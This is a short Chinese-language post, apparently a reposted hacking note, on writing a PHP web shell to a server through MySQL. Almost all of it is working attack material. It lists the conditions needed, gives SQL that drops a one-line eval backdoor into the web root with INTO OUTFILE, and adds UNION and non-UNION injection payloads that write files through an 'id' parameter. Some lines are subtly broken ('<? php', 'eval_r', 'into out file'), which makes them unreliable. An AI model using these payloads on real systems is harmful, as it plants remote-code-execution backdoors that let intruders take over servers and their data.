MYSQL寫shell

標籤：sts   語句   nio   nat   min   text   creat   exists   字元   

利用需要滿足以下條件:

1. root許可權
2. GPC關閉（能使用單引號）
3. 有絕對路徑（讀檔案可以不用，寫檔案必須）
4. 沒有配置–secure-file-priv

Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表，裡面就一個cmd欄位
Insert INTO temp (cmd) VALUES(‘<? php eval_r($_POST[cmd]);?>‘); //把一句話木馬插入到temp表
Select cmd from temp into out file ‘F:/wwwroot/eval.php‘; //查詢temp表中的一句話並把結果匯入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp



UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12UNION SELECT 1,2,‘zerosoul‘,4,5,6,7,8,9,10,11,12/*，則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句後面不帶from table語句的話，我們說查詢的數字或字元會直接返回到查詢結果裡。

1、union寫shell
id=2) union select 1,2,3,4,5,6,7,‘<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’

2、no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’

如select * from users into outfile ‘c:\1.txt‘ fields terminated by "<? phpinfo(); ?>"

有了這個思路，上面那一大段到出一句話的SQL代碼可以直接簡化到一句:

Select ‘<? php eval_r($_POST[cmd]);?>‘ into outfile ‘F:/wwwroot/eval.php‘;

MYSQL寫shell